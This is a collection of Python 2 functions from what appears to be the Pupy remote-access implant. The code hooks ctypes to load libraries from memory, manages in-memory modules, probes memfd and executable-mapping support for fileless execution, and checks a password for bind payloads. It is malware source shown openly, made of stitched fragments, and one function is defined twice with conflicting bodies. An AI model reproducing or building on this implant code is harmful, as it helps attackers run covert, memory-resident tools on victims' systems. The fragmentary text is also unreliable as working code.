def _pupy_find_library(name): pupyized = _pupy_make_library_path(name) if pupyized in pupy.modules: pupy.dprint('FIND LIBRARY: {} => {}', name, pupyized) return pupyized else: return ctypes.util._system_find_library(name)
def has_module(name): try: if name in sys.modules or \ name in sys.builtin_module_names or \ name in pupy.modules: return True fsname = name.replace('.', '/') fsnames = ('{}.py'.format(fsname), '{}/__init__.py'.format(fsname), '{}.pyd'.format(fsname), '{}.so'.format(fsname)) for module in pupy.modules: if module.startswith(fsnames): return True if not pupy.is_native(): try: imp.find_module(name) return True except ImportError: pass return False except Exception as e: pupy.dprint('has_module Exception: {}/{} (type(name) == {})', type(e), e, type(name))
def set_info(self, key, value): if key in PupyClient.__slots__: setattr(self, key, value) pupy.dprint('set client info {}: {}', key, value) return self._custom_info[key] = value pupy.dprint('set custom info {}: {}', key, value)
def unset_info(self, key): if key in PupyClient.__slots__: setattr(self, key, None) pupy.dprint('unset client info {}', key) return try: del self._custom_info[key] pupy.dprint('unset custom info {}', key) except KeyError: pass
def new_modules(names): pupy.dprint('new_modules call: {}/{}', type(names), len(names)) try: return [name for name in names if not has_module(name)] except Exception, e: pupy.dprint('new_modules Exception: {}/{} (type(names) == {})', type(e), e, type(names)) return names
def run(self): pupy.dprint('Task {} started', self.__class__.__name__) try: self.task() except: pupy.remote_error('Task (run) error: {}', self.name) finally: pupy.dprint('Task {} completed', self.__class__.__name__) if self._stopped: self._stopped.set()
def on_connect(self): pupy.dprint('Bind service: on_connect called') try: from pupy_credentials import BIND_PAYLOADS_PASSWORD password = BIND_PAYLOADS_PASSWORD pupy.dprint('Expected password: {}', repr(password)) except ImportError: from pupylib.PupyCredentials import Credentials credentials = Credentials() password = credentials['BIND_PAYLOADS_PASSWORD'] pupy.dprint('Expected password: {} (fallback)', repr(password)) remote_password = self._conn.root.get_password() pupy.dprint('Remote password: {}', remote_password) if remote_password != password: self._conn.close() raise KeyboardInterrupt("wrong password") super(BindSlaveService, self).on_connect()
def _does_dest_allows_executable_mappings(folder): try: fd, tmp_file = mkstemp(suffix='.pyd', dir=folder) except OSError as e: pupy.dprint('Folder {} is not accessible: {}', folder, e) return False try: unlink(tmp_file) except OSError as e: pupy.dprint('Could not delete temporary file: {}', tmp_file, e) pass return True
def _does_dest_allows_executable_mappings(folder): try: fd, tmp_file = mkstemp(prefix='.so', dir=folder) except OSError as e: pupy.dprint('Folder {} is not accessible: {}', folder, e) return False try: fileobj = fdopen(fd, 'wb') fileobj.truncate(4096) mapping = mmap(fileobj.fileno(), 4096, prot=PROT_WRITE | PROT_EXEC) mapping.close() pupy.dprint('Folder {} does allows executables', folder) return True except IOError as e: pupy.dprint('Exception during mmap {}: {}', e) return False except OSError as e: pupy.dprint('Folder {} does not allow executables: {}', folder, e) return False finally: try: unlink(tmp_file) except OSError: pass
def __init__(self, manager, *args, **kwargs): Thread.__init__(self) self._event_id = kwargs.pop('event_id', self.event_id) self.daemon = True self._pstore = manager.pstore self._stopped = Event() if not self._pstore[self]: self._pstore[self] = self.results_type() self._manager = manager self._dirty = False pupy.dprint('Create task {}', self.__class__.__name__)
def invalidate_module(name): for item in pupy.modules.keys(): if item.startswith((name + '/', name + '.')): pupy.dprint('Remove {} from pupyimporter.modules'.format(item)) del pupy.modules[item] for item in sys.modules.keys(): if not (item == name or item.startswith(name + '.')): continue del sys.modules[item] if pupy.namespace: pupy.dprint('Remove {} from rpyc namespace'.format(item)) pupy.namespace.__invalidate__(item) gc.collect()
def apply_dl_hacks(): if have_ctypes_dlopen: setattr(ctypes, '_system_dlopen', ctypes._dlopen) if have_ctypes_util: ctypes.util._system_find_library = ctypes.util.find_library if hasattr(ctypes.util, '_findLib_gcc'): ctypes.util._findLib_gcc = lambda name: None else: ctypes_util = pupy.make_module('ctypes.util') setattr(ctypes_util, '_system_find_library', _find_library) ctypes._dlopen = _pupy_dlopen ctypes.util.find_library = _pupy_find_library libpython = None if sys.platform == 'win32': try: libpython = ctypes.PyDLL('python27.dll') except WindowsError: pupy.dprint('python27.dll not found') else: for libname in (None, 'libpython2.7.so.1.0', 'libpython2.7.so'): try: candidate = ctypes.PyDLL(libname) except OSError: continue if hasattr(candidate, '_Py_PackageContext'): libpython = candidate break if libpython is not None: pupy.dprint('Set ctypes.pythonapi to {}', libpython) ctypes.pythonapi = libpython
def _pupy_dlopen(name, *args, **kwargs): pupy.dprint('ctypes dlopen: {}', name) name = _pupy_make_library_path(name) pupy.dprint('ctypes dlopen / pupyized: {} (system {})', name, ctypes._system_dlopen) handle = pupy.load_dll(name) if handle: return handle else: pupy.dprint('load_dll by name ({}) failed', name) return ctypes._system_dlopen(name, *args, **kwargs)
def stop(self): pupy.dprint('Stopping task {}', self.__class__.__name__) if self._stopped and self.active: self._stopped.set()
def memfd_is_supported(): if not sys.platform.startswith('linux'): pupy.dprint('memfd: disabled for non-linux') return False if platform.system() == 'Java': pupy.dprint('memfd: disabled for jython') return False maj, min = platform.release().split('.')[:2] if maj < 3: pupy.dprint('memfd: kernel too old (maj < 3)') return False elif maj == 3 and min < 13: pupy.dprint('memfd: kernel too old (maj == 3, min < 13)') return False if NR_memfd_create is None: pupy.dprint('memfd: Syscall NR is not defined') return False fd = _memfd_create('probe') if fd == -1: pupy.dprint('memfd: probe failed') return False try: supported = os.path.isfile( os.path.sep + os.path.join('proc', 'self', 'fd', str(fd))) pupy.dprint('memfd: supported={} (fd={})', supported, fd) return supported finally: os.close(fd)